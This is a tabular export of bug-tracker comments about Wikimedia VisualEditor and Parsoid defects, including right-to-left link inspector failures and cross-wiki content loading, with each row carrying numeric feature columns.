@Oliver - is the ""this"" that users have seen the deletion causing a paragraph to no longer appear but still be there, or the heading-not-being-fully-deleted issue?",,,1371242518,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,1.0,0.5,1.5,3.5,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,7.5,6.5,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,1.0,3.5,1.0,2.5,0.0,1.5,1.0,0.0,0.5,0.0,0.0,0.5,1.0,2.0,0.0,0.0,0.0,0.0,1.0,11.0,1.0,1.0,1.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.5,5.5,4.5,0.5,3.5,6.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,4.0,6.5,1.5,2.5,2.5,0.0,4.0,0.0,1.0,1.5,0.5,2.5,0.5,0.0,0.0,3.8015873015873014,0.7777777777777778,"The first part of this bug is a duplicate of bug 49452 (""Whitespace-only headings should be collapsed to (blank) paragraphs""), so re-purposing to be about the deletion issue.
SCREEN_NAME - could you give more details about this bug with deletion magically hiding large blocks of text but not deleting them - was it in Chrome/Mac? Does it happen reliably (and can you reproduce now) or is it occasional?
SCREEN_NAME - is the ""this"" that users have seen the deletion causing a paragraph to no longer appear but still be there, or the heading-not-being-fully-deleted issue?"
252820,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)","This has also been reported by other users, and is something I observed in the usertesting videos we did, too.",,,1371126627,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,False,,,-3,,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,4.0,9.0,9.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.9565217391304346,0.9565217391304348,"This has also been reported by other users, and is something I observed in the usertesting videos we did, too."
252813,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)","**swalling** wrote:

Result

Note empty header

**Attached**: {F11801}",,,1370932504,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.869565217391304,0.5652173913043478,"**swalling** wrote:

Result

Note empty header

**Attached**: {F11801}"
252805,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)","**swalling** wrote:

Diff

**Attached**: {F11799}",,,1370932479,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.473684210526316,0.5263157894736842,"**swalling** wrote:

Diff

**Attached**: {F11799}"
51421,VisualEditor: Activation of a selected block which is the first content not possible,"You can select it but the inspector menu doesn't trigger. Works fine if there's any content before the block.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1370912820,1371844292.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ws46dvvtpsd7zfz4gkae,task_description,resolved,True,c1,2,True,False,True,-3,,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.975609756097561,0.7317073170731707,"You can select it but the inspector menu doesn't trigger. Works fine if there's any content before the block.

--------------------------
**Version**: unspecified
**Severity**: normal"
252619,VisualEditor: Activation of a selected block which is the first content not possible,Now fixed and will be put into production very soon.,,,1371844292,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ws46dvvtpsd7zfz4gkae,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,Now fixed and will be put into production very soon.
252612,VisualEditor: Activation of a selected block which is the first content not possible,Related URL: https://gerrit.wikimedia.org/r/69707 (Gerrit Change I8bcdea0f7a6951216bf8368865d23ef6246880ea),,,1371753495,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ws46dvvtpsd7zfz4gkae,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I8bcdea0f7a6951216bf8368865d23ef6246880ea)
252606,VisualEditor: Activation of a selected block which is the first content not possible,"Happens if it's a block or floated template, or an inline or floated (thumb) image. Doesn't happen on an inline template or an inline-block template.",,,1371746901,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ws46dvvtpsd7zfz4gkae,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,3.0,12.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.676470588235294,0.6470588235294118,"Happens if it's a block or floated template, or an inline or floated (thumb) image. Doesn't happen on an inline template or an inline-block template."
51416,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,"Editing a page in a Hebrew wiki (possibly also in other RTL languages), adding a link does not show the popup. The word automatically becomes a wiki-link, no option to change the destination or make it an external link.

The link seems to work well in English wikis.

Tested on both my local install with the latest VE (VE-wmf6+) and on the hebrew wikipedia (VE-wmf5) and on both Firefox and Chrome.

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1370904180,1373002553.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-ze4pocno64vkraksutzp,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,0.0,0.0,0.5,6.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,2.5,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,0.0,10.5,0.0,4.0,7.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.5,6.0,9.5,0.0,0.0,0.0,1.5,0.0,0.0,2.5,0.0,1.0,0.0,1.0,0.0,3.6818181818181817,0.6727272727272727,"Editing a page in a Hebrew wiki (possibly also in other RTL languages), adding a link does not show the popup. The word automatically becomes a wiki-link, no option to change the destination or make it an external link.

The link seems to work well in English wikis.

Tested on both my local install with the latest VE (VE-wmf6+) and on the hebrew wikipedia (VE-wmf5) and on both Firefox and Chrome.

--------------------------
**Version**: unspecified
**Severity**: critical"
252363,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,"Change 69281 abandoned by Mooeypoo:
[WIP] Link surface fix for RTL

Reason:
Fixed in master.

https://gerrit.wikimedia.org/r/69281",,,1373484938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.72,0.88,"Change 69281 abandoned by Mooeypoo:
[WIP] Link surface fix for RTL

Reason:
Fixed in master.

GERRIT_URL"
252361,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,This works for me and seems to work in the hebrew wikipedia. Can be marked as resolved.,,,1373001408,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.736842105263158,0.9473684210526315,This works for me and seems to work in the hebrew wikipedia. Can be marked as resolved.
252358,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,Give Moriel the credit given that she's done all the work on this bug so far - we'll try to get the patch properly reviewed so we can (hopefully?) merge and deploy it very soon.,,,1372001761,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,2,True,,,-2,,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,15.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,5.0,2.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,10.0,10.0,2.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4878048780487805,0.9024390243902439,Give Moriel the credit given that she's done all the work on this bug so far - we'll try to get the patch properly reviewed so we can (hopefully?) merge and deploy it very soon.
252354,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,"I've been working on a fix for this but I may need some help with an issue.

The position definition had to be changed in RTL, as it is hard-coded (calculated by the location of the word/selection.) That was completed successfully and the link surface appears correctly below the marked word in both LTR and RTL. 

However, I am running into problems setting up the proper ""right"" dynamically-calculated value for the sub-popup TextInputMenuWidget, and my attempts to play around with left/right and windowWidths has failed. It appears ""almost right"" (a little to the left, a little to the right, skewed, etc) and I think I may be missing a property.

I wonder if there is a possibility to get the ""right"" value of the link surface (that appears correctly) to implement it in the TextInputMenuWidget without having to call the element specifically.

The fix below is still work in progress (Don't Merge!) but it should be completely fixed if I manage to figure out the position of the TextInputMenuWidget.",,,1371535364,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,2,False,,,-2,,0.3333333333333333,0.0,0.3333333333333333,1.0,0.3333333333333333,4.333333333333333,0.0,0.0,0.0,1.0,2.3333333333333335,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,3.0,0.0,4.666666666666667,11.666666666666666,0.0,2.6666666666666665,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,1.0,0.6666666666666666,0.0,0.3333333333333333,5.0,1.0,1.6666666666666667,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,9.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,8.333333333333334,3.3333333333333335,7.666666666666667,1.0,2.3333333333333335,10.333333333333334,0.0,0.0,0.3333333333333333,0.0,4.0,0.0,0.0,0.0,4.666666666666667,11.666666666666666,1.0,0.0,2.3333333333333335,0.0,4.666666666666667,0.0,0.0,2.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,3.9436619718309855,0.7370892018779344,"I've been working on a fix for this but I may need some help with an issue.

The position definition had to be changed in RTL, as it is hard-coded (calculated by the location of the word/selection.) That was completed successfully and the link surface appears correctly below the marked word in both LTR and RTL. 

However, I am running into problems setting up the proper ""right"" dynamically-calculated value for the sub-popup TextInputMenuWidget, and my attempts to play around with left/right and windowWidths has failed. It appears ""almost right"" (a little to the left, a little to the right, skewed, etc) and I think I may be missing a property.

I wonder if there is a possibility to get the ""right"" value of the link surface (that appears correctly) to implement it in the TextInputMenuWidget without having to call the element specifically.

The fix below is still work in progress (Don't Merge!) but it should be completely fixed if I manage to figure out the position of the TextInputMenuWidget."
252349,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,Related URL: https://gerrit.wikimedia.org/r/69281 (Gerrit Change I312610ca630a8f75f1a0778e97f227f35a003b41),,,1371534862,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I312610ca630a8f75f1a0778e97f227f35a003b41)
252344,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,And the opposite is also true: The inspector is visible in the Hebrew Wikipedia if the interface language is English.,,,1371315442,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,14.0,23.0,5.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.454545454545454,0.8181818181818182,And the opposite is also true: The inspector is visible in the Hebrew Wikipedia if the interface language is English.
252338,VisualEditor: Link inspector surface doesn't pop up when the user language is right-to-left,"This also happens in the English wikipedia when the user interface is set to any rtl language.

I tested with ?uselang=he ?uselang=ar and ?uselang=fa",,,1371058014,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ze4pocno64vkraksutzp,task_subcomment,,True,c1,2,False,,,-3,,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,9.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,14.0,9.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6285714285714286,0.8,"This also happens in the English wikipedia when the user interface is set to any rtl language.

I tested with ?uselang=he ?uselang=ar and ?uselang=fa"
51411,Parsoid sometimes loads content from another wiki,"Screenshot of VisualEditor on the English Wikipedia

I'm not even really sure how to explain this. I'll just include a screenshot.

I went to <https://en.wikipedia.org/wiki/Ready,_Willing_and_Able_(Daron_Norwood_song)> and clicked ""edit this page"". This is what appeared.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11769}",High,80.0,1370897160,1373560843.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,7.0,5.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,18.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,5.0,5.0,0.0,3.0,0.0,4.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,3.6027397260273974,0.6575342465753424,"Screenshot of VisualEditor on the English Wikipedia

I'm not even really sure how to explain this. I'll just include a screenshot.

I went to <URL and clicked ""edit this page"". This is what appeared.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11769}"
252056,Parsoid sometimes loads content from another wiki,I am assuming this is not an issue any more given that we have had no reports after launch.  The launch should have caused a lot of corruptions if this bug had been around.  Closing.,,,1373560843,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,3,True,,,1,,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,10.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,8.0,8.0,5.0,0.0,18.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,10.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,3.7,0.825,I am assuming this is not an issue any more given that we have had no reports after launch.  The launch should have caused a lot of corruptions if this bug had been around.  Closing.
252049,Parsoid sometimes loads content from another wiki,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934035,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
252042,Parsoid sometimes loads content from another wiki,Please let us know if there are any new cases.,,,1372463719,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-1,,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.3636363636363638,1.0,Please let us know if there are any new cases.
252035,Parsoid sometimes loads content from another wiki,"Still happening - PamD reports that {{User sandbox}} on enwiki displayed in Japanese and gave the wrong user name (Apparently she's now User:Ichiro Kikuchi). It's stopped, but...worrying.",,,1372082680,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,21.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,17.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.8333333333333335,0.8809523809523809,"Still happening - PamD reports that {{User sandbox}} on enwiki displayed in Japanese and gave the wrong user name (Apparently she's now User:Ichiro Kikuchi). It's stopped, but...worrying."
252029,Parsoid sometimes loads content from another wiki,https://gerrit.wikimedia.org/r/69905 (Gerrit Change I495c294a5dbafadac133c0b377b576d297ca529d) | change APPROVED and MERGED [by jenkins-bot],,,1371845667,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I495c294a5dbafadac133c0b377b576d297ca529d) | change APPROVED and MERGED [by jenkins-bot]
